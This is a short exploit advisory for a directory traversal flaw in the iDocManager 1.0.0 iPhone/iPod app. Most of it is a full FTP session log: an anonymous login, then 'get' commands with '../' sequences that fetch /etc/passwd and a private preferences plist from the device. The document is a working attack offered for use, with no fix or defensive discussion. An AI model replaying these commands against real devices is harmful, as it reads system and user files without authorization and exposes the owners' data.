iDocManager 1.0.0 For iPhone / iPod Touch Directory Traversal

`# Exploit Title: iDocManager v1.0.0 for iPhone / iPod touch, Directory Traversal  
# Date: 02/24/2011  
# Author: R3d@l3rt, Sp@2K, Sunlight, H@ckk3y  
# Software Link : http://itunes.apple.com/kr/app/idocmanager/id376421606?mt=8  
# Version: 1.0.0  
# Tested on: iPhone, iPod 3GS with 4.2.1 firmware   
  
# There is directory traversal vulnerability in the iDocManager.   
# Exploit Testing  
  
C:\>ftp  
ftp> open 192.168.0.70 20000  
Connected to 192.168.0.70.  
220 DiddyDJ FTP server ready.  
User (192.168.0.70:(none)): anonymous  
331 Password required for anonymous  
Password:  
230 User logged in.  
ftp> dir  
200: PORT command successful.  
150: Opening ASCII mode data connection for '/bin/ls'.  
  
  
226 Transfer complete.  
ftp: 4 bytes received in 0.02Seconds 0.25Kbytes/sec.  
ftp> get ../../../../../../etc/passwd  
200: PORT command successful.  
150: Opening BINARY mode data connection for '../../../../../../etc/passwd'.  
226 Transfer complete.  
ftp: 787 bytes received in 0.02Seconds 49.19Kbytes/sec.  
ftp> get ../../../../../../../private/var/mobile/Library/Preferences/com.apple.conference.plist  
200: PORT command successful.  
150: Opening BINARY mode data connection for '../../../../../../../private/var/mobile/Library/Preferences/com.apple.conference.plist'.  
226 Transfer complete.  
`